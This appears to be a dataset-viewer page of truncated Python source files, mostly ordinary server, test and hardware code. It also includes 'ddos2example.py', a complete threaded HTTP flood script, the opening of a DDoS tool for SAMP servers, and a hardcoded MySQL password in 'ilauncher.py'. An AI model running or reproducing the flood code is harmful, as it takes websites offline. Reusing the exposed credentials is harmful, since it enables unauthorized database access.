source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
httpserver.py | ###
# Copyright (c) 2011, Valentin Lorentz
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditi... |
bootstrap.py | import multiprocessing as mp
from redis import Redis
from rq import Worker
from waitress import serve
from .task_queue import task_queue
def start_worker():
worker = Worker(
[task_queue],
connection=Redis(),
default_result_ttl=-1,
)
worker.work()
if __name__ == '__main__':
... |
client.py | import socket
import threading
from .messages import *
def run_socket_client(addr, port):
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sock.connect((addr, port))
dispatcher = ClientMessageDispatcher(sock)
while True:
chunk = sock.recv(1024)
status = dispatcher.data_receiv... |
Habitat.py | import requests, hashlib, base64, sys, threading, os
from time import strftime
from SX127x.LoRa import *
from SX127x.board_config import BOARD
from time import sleep
toSend = {"telemetry" : "", "ssdv" : []}
class LoRaReceive(LoRa):
def __init__(self, verbose=False):
super(LoRaReceive, self).__init__(verbo... |
listener.py | # Copyright (C) 2018 O.S. Systems Software LTDA.
"""
Use this package to be notified of changes on the current state of the
updatehub agent by registering callbacks.
"""
import io
import os
import socket
import threading
from enum import Enum
from enum import unique
@unique # pylint: disable=too-few-public-methods... |
audio_preprocessing_tutorial.py | """
Audio manipulation with torchaudio
==================================
``torchaudio`` provides powerful audio I/O functions, preprocessing
transforms and dataset.
In this tutorial, we will look into how to prepare audio data and
extract features that can be fed to NN models.
"""
# When running this tutorial in G... |
test_eventprocessor.py | #-------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#--------------------------------------------------------------------------
import pyte... |
monitored_session_test.py | # pylint: disable=g-bad-file-header
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENS... |
thermald.py | #!/usr/bin/env python3
#
# Copyright (c) 2020-2022 bluetulippon@gmail.com Chad_Peng(Pon).
# All Rights Reserved.
# Confidential and Proprietary - bluetulippon@gmail.com Chad_Peng(Pon).
#
import datetime
import os
import queue
import threading
import time
from collections import OrderedDict, namedtuple
from pathlib imp... |
example6.py | # ch16/example6.py
from concurrent_network import Network
import threading
def print_network_primary_value():
global my_network
print(f'Current primary value: {my_network.get_primary_value()}.')
my_network = Network('A', 1)
print(f'Initial network: {my_network}')
print()
my_network.add_node('B', 1)
my_netw... |
ilauncher.py | import json
import os
import time
import platform
import HTMLParser
import subprocess
import urllib
from logutil import logger
import threading
MYSQL_HOST = "jiangerji.mysql.rds.aliyuncs.com"
MYSQL_PASSPORT = "jiangerji"
MYSQL_PASSWORD = "eMBWzH5SIFJw5I4c"
MYSQL_DATABASE = "spider"
APIS_HOST = "h... |
pyros-core.py | #!/usr/bin/env python3
#
# Copyright 2016-2017 Games Creators Club
#
# MIT License
#
import os
import select
import sys
import time
import subprocess
import threading
import traceback
import paho.mqtt.client as mqtt
do_exit = False
startedInDir = os.getcwd()
THREAD_KILL_TIMEOUT = 1.0
AGENTS_CHECK_TIMEOUT = 1.0
... |
figure_process.py | """
Plotting machinery
"""
import ast
import logging
import queue
import sys
import threading
import tkinter as tk
import time
from argparse import ArgumentParser
import matplotlib.pyplot as plt
import numpy as np # Needed for dynamic code.
from matplotlib.font_manager import FontProperties
from matlab2py.debug impo... |
data_plane_test.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The Bitcoin developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
import... |
ib_gateway.py | """
IB Symbol Rules
SPY-USD-STK SMART
EUR-USD-CASH IDEALPRO
XAUUSD-USD-CMDTY SMART
ES-202002-USD-FUT GLOBEX
SI-202006-1000-USD-FUT NYMEX
ES-2020006-C-2430-50-USD-FOP GLOBEX
"""
from copy import copy
from datetime import datetime
from dateutil import parser
from queue import Empty
from threading import Thread,... |
views.py | from django.shortcuts import render
from django.views import View
from django.http import HttpResponse, JsonResponse
from django_redis import get_redis_connection
from random import randint
from meiduo_mall.libs.captcha.captcha import Captcha
from celery_tasks.yuntongxun.sms import CCP
from users.models import User
fr... |
test_export.py | # Copyright The OpenTelemetry Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... |
CadcCache.py | """
A sparse file caching library
"""
import os
import sys
import stat
import time
import threading
try:
from Queue import Queue
except:
from queue import Queue
import traceback
import errno
try:
from contextlib import nested # Python 2
except ImportError:
from contextlib import ExitStack, contextmana... |
other-sites.py | '''
NERYS
a universal product monitor
Current Module: Other Sites
Usage:
NERYS will monitor specified sites for keywords and sends a Discord alert
when a page has a specified keyword. This can be used to monitor any site
on a product release date to automatically detect when a product has been
uploaded. Use... |
jobs.py | #!/usr/bin/env python3
#
# MIT License
#
# Copyright (c) 2020-2021 EntySec
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to... |
thread.py | from threading import Thread, current_thread
def count_number(file_name, number):
"""
统计一个大文件里指定 byte 的个数
在一个进程的不同线程里访问文件感觉很慢啊
估计是因为 GIL 锁的问题
"""
name = current_thread().name
print('searching %s:(%s)' % (number, name))
with open(file_name, 'rb') as f:
count = 0
whil... |
client.py | import sys
if sys.version_info[0] == 2:
import Queue as queue
else:
import queue
import logging
if sys.version_info[:2] <= (2, 6):
logging.Logger.getChild = lambda self, suffix:\
self.manager.getLogger('.'.join((self.name, suffix)) if self.root is not self else suffix)
import collections
import re
i... |
upnp.py | import logging
import threading
from queue import Queue
from typing import Optional
try:
import miniupnpc
except ImportError:
pass
log = logging.getLogger(__name__)
class UPnP:
thread: Optional[threading.Thread] = None
queue: Queue = Queue()
def __init__(self):
def run():
t... |
microphone.py | # microphone.py (pi-topPULSE)
# Copyright (C) 2017 CEED ltd.
#
import codecs
import binascii
import math
from tempfile import mkstemp
import os
import serial
import signal
import struct
import sys
from threading import Thread
import time
# local
from ptpulse import configuration
_debug = False
_bitrate = 8
_continu... |
app.py | from tornado.ioloop import IOLoop
import tornado.web as web
import tornado.iostream as iostream
import audioproc, ffmpeg, shoutcast
import threading
client_connections = set([])
def push(buf):
"Send buf to all connected clients"
print len(buf)
for conn in client_connections:
conn.write(buf)
... |
train-notqdm.py | """Train a YOLOv5 model on a custom dataset
Usage:
$ python path/to/train.py --data coco128.yaml --weights yolov5s.pt --img 640
"""
import argparse
import logging
import os
import random
import sys
import time
import warnings
from copy import deepcopy
from pathlib import Path
from threading import Thread
import ... |
core_nlp.py | """Contains functions used to communicate with the Stanford CoreNLP server.
The output of the following annotators is used:
- QuoteAnnotator - https://stanfordnlp.github.io/CoreNLP/quote.html
- CorefAnnotator - https://stanfordnlp.github.io/CoreNLP/coref.html
statistical and neural models.
"""
from __future__ import... |
session.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Jun 9 11:16:30 2021
@author: frank
"""
import os
import random
import shutil
import sys
import time
import traceback
from datetime import datetime
from distutils.dir_util import copy_tree
from glob import glob
# from PyTaskDistributor.util.extract imp... |
log_consumer.py | """Log consumers are responsible for fetching chia logs
and propagating them to subscribers for further handling.
This abstraction should provide an easy ability to switch between
local file reader and fetching logs from a remote machine.
The latter has not been implemented yet. Feel free to add it.
"""
# std
import ... |
main.py | #ALL THE COMMANDS FOR THE BOT ARE IN FUNCTIONS/MAIN!!!!
#SEE EACH FILE THERE FOR COMMENTS ON HOW EACH COMMAND WORKS
#partner = person user married
#SEE database explain.txt for info on how stuff is stored in the database
import discord
import os #to get the token
import sys #to check arguments
try: #see if there is a... |
test_util_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
app.py | ## Global dependencies
import threading
import time
from functools import partial
import keyboard
## Local dependencies
from clipboard.ClipboardManager import ClipboardMemory, CBMRequest # Classes
from clipboard.ClipboardManager import get_clipboard_data, update_clipboard_data # Functions
from clipboard.gui.Window imp... |
service_manager.py | #!/usr/bin/python
import queue
import threading
import time
from patterns import singleton
def update_server(service):
if not service:
return
service.update()
# time.sleep(0.001) #减少CPU占用
def poll_service(service):
if not service:
return
while (True):
if service._is... |
local_server_test.py | # Copyright 2020 The Merlin Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... |
thermald.py | #!/usr/bin/env python3
import datetime
import os
import queue
import threading
import time
from collections import OrderedDict, namedtuple
from pathlib import Path
from typing import Dict, Optional, Tuple
import psutil
from smbus2 import SMBus
import cereal.messaging as messaging
from cereal import log
from common.di... |
luminosity.py | from __future__ import division
import logging
import os
from os import kill, getpid
from sys import version_info
# @modified 20191115 - Branch #3262: py3
# try:
# from Queue import Empty
# except:
# from queue import Empty
from time import time, sleep
from threading import Thread
# @modified 20190522 - Task ... |
multi_process_runner_test.py | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
tornado.py | import asyncio
import fnmatch
import json
import logging
import os
import threading
import time
import webbrowser
from functools import partial
from typing import Dict
from urllib.parse import urlparse
import tornado
import tornado.httpserver
import tornado.ioloop
from tornado.web import StaticFileHandler
from tornado... |
gui_mokadi_process.py | # -*- coding: utf-8 -*-
"""
@file
@brief Second process to listen to the mike. Issue: two processes
cannot listen to the mike at the same time.
"""
from multiprocessing import Process, Pipe
def process_listen(conn):
raise NotImplementedError("Implementation was removed.")
# from ensae_teaching_cs.cspython im... |
Simulator.py | # importing Qiskit
from qiskit import QuantumCircuit, ClassicalRegister, QuantumRegister, execute, BasicAer
from qiskit.quantum_info import Statevector
# Import basic plotting tools
from qiskit.tools.visualization import plot_histogram
# import utility modules
import math
import numpy as np
from flask import Flask, r... |
multiprocessing_example.py | import time
import multiprocessing
def is_prime(n):
if (n <= 1) :
return 'not a prime'
if (n <= 3) :
return 'prime'
if (n % 2 == 0 or n % 3 == 0) :
return 'not a prime'
i = 5
while(i * i <= n) :
if (n % i == 0 or n % (i + 2) == 0)... |
exporter.py | #!/usr/bin/python
# vim: tabstop=4 expandtab shiftwidth=4
import argparse
import requests
import re
import time
import threading
from datetime import datetime
from os import environ
from . import lib
try:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
ex... |
generic_loadgen.py | # Copyright 2018 The MLPerf Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... |
utils.py | #!/usr/bin/env python
import sys
import array
import numpy as np
from PIL import Image
from skimage.color import rgb2gray
from skimage.transform import resize
from skimage.io import imread
from skimage.util import img_as_float
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
from inputs import get... |
minion.py | # -*- coding: utf-8 -*-
'''
Routines to set up a minion
'''
# Import python libs
from __future__ import absolute_import, print_function
import os
import re
import sys
import copy
import time
import types
import signal
import fnmatch
import logging
import threading
import traceback
import multiprocessing
from random imp... |
cli.py | # -*- coding: utf-8 -*-
"""
flask.cli
~~~~~~~~~
A simple command line application to run flask apps.
:copyright: 2010 Pallets
:license: BSD-3-Clause
"""
from __future__ import print_function
import ast
import inspect
import os
import platform
import re
import sys
import traceback
from functools i... |
pabotlib.py | # Copyright 2014->future! Mikko Korpela
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
morse_wildfire.py | #!/usr/bin/env python3
# Copyright (c) 2018, CNRS-LAAS
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of c... |
event_demo.py | # -*- coding: utf-8 -*-
"""Event
Event用来实现进程间通信(IPC)
"""
import multiprocessing
import time
def wait_for_event(e):
print("wait for event: starting...")
e.wait()
print("wait for event: e.is_set() -> ", e.is_set())
def wait_for_event_timeout(e, t):
print("wait for event timeout: starting...")
e.wa... |
process_threads_and_tasks.py | # -*- coding: utf-8 -*-
#
# Author: Daniel Garcia (cr0hn) - @ggdaniel
#
import asyncio
import random
from threading import Thread, Event
from multiprocessing import Process
@asyncio.coroutine
def task(con_info, t, e):
"""
A task
:param e: Event obj
:type e: Event
"""
for x in range(200):
if not e.isSet(... |
windows.py | # Diverter for Windows implemented using WinDivert library
import logging
from pydivert.windivert import *
import socket
import os
import dpkt
import time
import threading
import platform
from winutil import *
import subprocess
class Diverter(WinUtilMixin):
def __init__(self, diverter_... |
manager.py | """
Copyright (c) 2010-2012, Contrail consortium.
All rights reserved.
Redistribution and use in source and binary forms,
with or without modification, are permitted provided
that the following conditions are met:
1. Redistributions of source code must retain the
above copyright notice, this list of conditions
... |
dividas_simplesNacional.py | from time import sleep
from default.webdriver_utilities import *
from default.interact import *
from smtp_project.init_email import JsonDateWithImprove
from default.settings import SetPaths
from default.data_treatment import ExcelToData
from selenium.webdriver.common.by import By
# dale
class Dividas(WDShorcuts, Set... |
analytics.py | import logging
import os
import io
import requests
import calendar
import threading
import json
import werkzeug
from datetime import datetime
from mixpanel import Mixpanel, MixpanelException
from copy import deepcopy
from operator import itemgetter
from collections import defaultdict
from uuid import uuid4
from .misc... |
tcp_server.py | from __future__ import absolute_import
import time
import sys
import threading
if sys.version_info[0] == 2:
import SocketServer as ss
elif sys.version_info[0] == 3:
import socketserver as ss
from ..utilities.lists import isclose
ss.TCPServer.allow_reuse_address = True
__all__ = [
'FeedbackHandler',
'TC... |
face_detector_buyme_node.py | #!/usr/bin/env python
import rospy
import numpy as np
import math
from duckietown_msgs.msg import Twist2DStamped
from sensor_msgs.msg import CompressedImage, Image
from cv_bridge import CvBridge, CvBridgeError
import cv2
import sys
import time
import threading
class face_detector_wama(object):
def __init__(self):
s... |
display_server.py | import threading
import Adafruit_SSD1306
import time
import PIL.Image
import PIL.ImageFont
import PIL.ImageDraw
from flask import Flask
from .utils import ip_address, power_mode, power_usage, cpu_usage, gpu_usage, memory_usage, disk_usage
from ups_display import ina219
import os
class DisplayServer(object):
d... |
add_code_to_python_process.py | r'''
Copyright: Brainwy Software Ltda.
License: EPL.
=============
Works for Windows by using an executable that'll inject a dll to a process and call a function.
Note: https://github.com/fabioz/winappdbg is used just to determine if the target process is 32 or 64 bits.
Works for Linux relying on gdb.
... |
run_unittests.py | #!/usr/bin/env python3
# Copyright 2016-2017 The Meson development team
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by ... |
skraflstats.py | """
Server module for Netskrafl statistics and other background tasks
Copyright (C) 2020 Miðeind ehf.
Author: Vilhjálmur Þorsteinsson
The GNU General Public License, version 3, applies to this software.
For further information, see https://github.com/mideind/Netskrafl
Note: SCRABBLE is a reg... |
user.py | # -*- coding: utf-8 -*-
import base64
import cherrypy
import datetime
import itertools
from ..describe import Description, autoDescribeRoute
from girderformindlogger.api import access
from girderformindlogger.api.rest import Resource, filtermodel, setCurrentUser
from girderformindlogger.constants import AccessType, So... |
advanced-reboot.py | #
# ptf --test-dir ptftests fast-reboot --qlen=1000 --platform remote -t 'verbose=True;dut_username="admin";dut_hostname="10.0.0.243";reboot_limit_in_seconds=30;portchannel_ports_file="/tmp/portchannel_interfaces.json";vlan_ports_file="/tmp/vlan_interfaces.json";ports_file="/tmp/ports.json";dut_mac="4c:76:25:f5:48:80";... |
manager.py | #!/usr/bin/env python2.7
import os
import sys
import fcntl
import errno
import signal
import subprocess
from common.basedir import BASEDIR
sys.path.append(os.path.join(BASEDIR, "pyextra"))
os.environ['BASEDIR'] = BASEDIR
def unblock_stdout():
# get a non-blocking stdout
child_pid, child_pty = os.forkpty()
if ch... |
BOOMRMK.py | #!/usr/bin/env python3
#Yahh Tertangkap gwa
#Manfactured By Mostoas
import random
import socket
import threading
print("--- AUTHOR BY : Mostoas ---")
print("--- TOOLS BY : TEAM Mostoas ---")
print("--- JANGAN ABUSE YA ---")
print("===================================")
print("DDOS FOR SAMP, ULTRA - HOST, 20GTPS")
print... |
scExecute.py | #!/bin/env python3
import sys
import os
import os.path
import glob
import copy
import traceback
import re
import csv
import tempfile
import urllib.request, urllib.parse, urllib.error
import shutil
import atexit
import subprocess
import time
import math
from collections import defaultdict, Counter
from os.path import jo... |
writer.py | import os
import time
import sys
from threading import Thread
from queue import Queue
import cv2
import numpy as np
import torch
import torch.multiprocessing as mp
from alphapose.utils.transforms import get_func_heatmap_to_coord
from alphapose.utils.pPose_nms import pose_nms, write_json
DEFAULT_VIDEO_SAVE_OPT = {
... |
Rinus.py | #!/usr/bin/env python3
import random
import socket
import threading
print (" - - > SERANG!!!!!!!!!! <- - ")
print (" - - > BISMILLAH DULU <- - ")
ip = str(input(" Ip:"))
port = int(input(" Port:"))
choice = str(input(" (y/n):"))
times = int(input(" Paket :"))
threads = int(input(" Th... |
sampling_ui.py | import atexit
import json
import multiprocessing
import os
import sys
import time
import traceback
import uuid
import bddl
import numpy as np
import pybullet as p
from bddl.parsing import construct_full_bddl
from bddl.utils import UncontrolledCategoryError, UnsupportedPredicateError
from flask import Flask, Response, ... |
kxt.py | #!/usr/bin/env python3
__author__ = "ed <diodes@ocv.me>"
__copyright__ = 2020
__license__ = "MIT"
__url__ = "https://github.com/9001/diodes/"
"""
kxt.py: filetransfer into vm/vnc/rdp sessions through keyboard simulation.
one of the following approaches can be used:
1) just type the contents of the file as-is (better... |
ews.py | # vim: sw=4:ts=4:et:cc=120
import collections
import importlib
import logging
import os, os.path
import sqlite3
import threading
from urllib.parse import urlparse
import saq
from saq.constants import *
from saq.collectors import Collector, Submission
from saq.error import report_exception
from saq.util import local_... |
wallpaper.py | #!/usr/bin/env python
# encoding:utf-8
from __future__ import print_function
import ctypes
from ctypes import wintypes
import win32con
from urllib import request
import xml.etree.ElementTree as eTree
import os
from os import path
import socket
import sys
import random
import time
import logging
from threading import T... |
conn.py | from typing import Dict, Any
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection
import json
import threading
import time
BASE_URL = ''
token = None
status = 0
def request(
method: str,
url: str,
body: Dict[str, str] = None,
error_message: str = None
) -> Dict[An... |
test_partition.py | import time
import random
import pdb
import threading
import logging
from multiprocessing import Pool, Process
import pytest
from utils import *
from constants import *
TIMEOUT = 120
class TestCreateBase:
"""
******************************************************************
The following cases are use... |
proyecto_2.py | """
Proyecto 2: Una situación cotidiana paralelizable
Alumnos:
Barcenas Avelas Jorge Octavio
Reza Chavarria Sergio Gabriel
Profesor:
Gunnar Eyal Wolf Iszaevich
"""
import threading
import random
from tkinter import *
raiz=Tk()
#####################Variables globales#################... |
minion.py | # -*- coding: utf-8 -*-
'''
Routines to set up a minion
'''
# Import python libs
from __future__ import absolute_import, print_function, with_statement
import os
import re
import sys
import copy
import time
import types
import signal
import random
import fnmatch
import logging
import threading
import traceback
import c... |
lisp-rtr.py | # -----------------------------------------------------------------------------
#
# Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain... |
pacu.py | #!/usr/bin/env python3
import copy
import importlib
import json
import os
import platform
from queue import Queue
import random
import re
import shlex
import string
import subprocess
import sys
import threading
import time
import traceback
from http.server import BaseHTTPRequestHandler, HTTPServer
try:
import requ... |
test_pooling.py | # Copyright 2009-present MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
test.py | import json
import os.path as p
import random
import socket
import threading
import time
import logging
import io
import string
import ast
import math
import avro.schema
import avro.io
import avro.datafile
from confluent_kafka.avro.cached_schema_registry_client import CachedSchemaRegistryClient
from confluent_kafka.av... |
test_transaction.py | #!/usr/bin/env python
import threading
import unittest
import psycopg2
from psycopg2.extensions import (
ISOLATION_LEVEL_SERIALIZABLE, STATUS_BEGIN, STATUS_READY)
import tests
class TransactionTests(unittest.TestCase):
def setUp(self):
self.conn = psycopg2.connect(tests.dsn)
self.conn.set_is... |
client.py | import http.client
import logging
import os
import random
import re
import socket
import ssl
import threading
import time
import webbrowser
from datetime import datetime, timedelta
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from typing import Dict, Optional, Union
from urllib.pa... |
heartbeat_timer.py | """
HeartbeatTimer
Copyright (C) 2019-2022 Intel Corporation
SPDX-License-Identifier: Apache-2.0
"""
import logging
from time import sleep
from threading import Thread
logger = logging.getLogger(__name__)
class HeartbeatTimer(object):
"""Timer used to tell the node-agent when to send a heartbeat m... |
live_demo.py | ########################################
## DEMO FOR THE LIVE VIEW FEATURE ######
########################################
import sys,os
import numpy as np
try:
import pyUSRP as u
except ImportError:
try:
sys.path.append('..')
import pyUSRP as u
except ImportError:
print "Cannot find... |
toolsMizoggRU.py | import json, requests, hashlib, codecs, ecdsa, base58, binascii, random
import hmac, struct, sys, os, smtplib
from rich import print
import secp256k1 as ice
import hashlib, codecs, ecdsa, base58, binascii, random
import hmac, struct, sys, os, time
import bit
from bit import Key
from bit.format import bytes_to_w... |
train.py | # Copyright (c) 2020 DeNA Co., Ltd.
# Licensed under The MIT License [see LICENSE for details]
# training
import os
import time
import copy
import threading
import random
import bz2
import pickle
import warnings
from collections import deque
import numpy as np
import torch
import torch.nn as nn
import torch.nn.funct... |
xairremote.py |
# control a Behringer XAIR mixer with a nanoKONTROL connected to a Raspberry Pi
import os
import sys
sys.path.append('python-x32/src')
sys.path.append('python-x32/src/pythonx32')
from re import match
import threading
import time
import socket
from alsa_midi import SequencerClient, WRITE_PORT, MidiBytesEvent
from pytho... |
train_extractive.py | #!/usr/bin/env python
"""
Main training workflow
"""
from __future__ import division
import argparse
import glob
import os
import pickle
import signal
import time
import sentencepiece
from abstractive.model_builder import ExtSummarizer
from abstractive.trainer_ext import build_trainer
from abstractive.data_loade... |
test_ftplib.py | """Test script for ftplib module."""
# Modified by Giampaolo Rodola' to test FTP class, IPv6 and TLS
# environment
import ftplib
import asyncore
import asynchat
import socket
import io
import errno
import os
import time
try:
import ssl
except ImportError:
ssl = None
from unittest import TestCase, skipUnless
... |
search.py | import multiprocessing as mp
import os
from typing import Any, Mapping
import h5py
from fastapi import APIRouter
from starlette.responses import JSONResponse
from hdf5_reader_service.utils import NumpySafeJSONResponse
router = APIRouter()
SWMR_DEFAULT = bool(int(os.getenv("HDF5_SWMR_DEFAULT", "1")))
# Setup bluep... |
summary_view.py | from typing import TYPE_CHECKING
import json
import threading
import datetime
from time import sleep
from PySide2.QtCore import Qt
from PySide2.QtWidgets import QVBoxLayout, QHBoxLayout, QTableWidget, QHeaderView, \
QAbstractItemView, QTableWidgetItem, QWidget, QTabWidget, QLabel
from angrmanagement.ui.views.view... |
test_state.py | # -*- coding: utf-8 -*-
'''
Tests for the state runner
'''
# Import Python Libs
from __future__ import absolute_import, print_function, unicode_literals
import errno
import logging
import os
import shutil
import signal
import tempfile
import time
import textwrap
import threading
# Import Salt Testing Libs
from tests.... |
chat2.py | import threading
import time
import socket
from collections import namedtuple
Chatter = namedtuple('Chatter','user_name ip_address')
userSet = set()
def build_message(command, user_name, user_message):
message = command + "|" + user_name + "|" + user_message
return message
def parse_message(input_message):
tok... |
TrayIcon.py | """Mimic's system tray icon."""
from threading import Event, Thread
from time import sleep
from typing import Callable, Optional
from infi.systray import SysTrayIcon
from mimic.Constants import SLEEP_INTERVAL
from mimic.Pipeable import Pipeable
class TrayIcon(Pipeable):
"""
Non-blocking tray icon.
Tray... |
ddos2example.py | import requests
from threading import Thread
url = input('Url: ')
thrnom = input('Threads :')
def ddos():
while(1<10):
spam = requests.post(url)
spam2 = requests.get(url)
for i in range(int(thrnom)):
thr = Thread(target = ddos)
thr.start()
print('DDOS is running...')
|
sk_count_contigsServer.py | #!/usr/bin/env python
from wsgiref.simple_server import make_server
import sys
import json
import traceback
import datetime
from multiprocessing import Process
from getopt import getopt, GetoptError
from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError,\
JSONRPCError, ServerError, InvalidRequestE... |
BPCL_ch_final.py | '''
# Copyright (C) 2020 by ZestIOT. All rights reserved. The
# information in this document is the property of ZestIOT. Except
# as specifically authorized in writing by ZestIOT, the receiver
# of this document shall keep the information contained herein
# confidential and shall protect the same in whole or ... |
menuEjecutable.py | import curses
import time
import codigoFuncionamiento as pro2
import interfaz as inte
import threading
def menu():
#Inicializacion de la pantalla
#Obtencion de medidas de la consola
scr = curses.initscr()
curses.noecho()
dims = scr.getmaxyx()
hilosEjecucion = False
q = -1
while q != 113 and q != 81:
scr.n... |
build_draws.py | # -*- coding: utf-8 -*-
"""
Created on Sat Jun 26 14:51:11 2021
@author: elain
"""
import threading
import multiprocessing
import numpy as np
import csv
import os
import datetime
import sys
import glob
import shutil
from psutil import Process
import gc
class Parameter:
def __init__(self,name,aggregation,vartype,... |
server.py |
import constants
from connection import Connection
import socket
import logging
import multiprocessing
class Server:
"""
Something something docstring.
"""
def __init__(self, address, port, processor):
logging.info("Initializing server. [%s %d]", address, port)
self.processor = pr... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.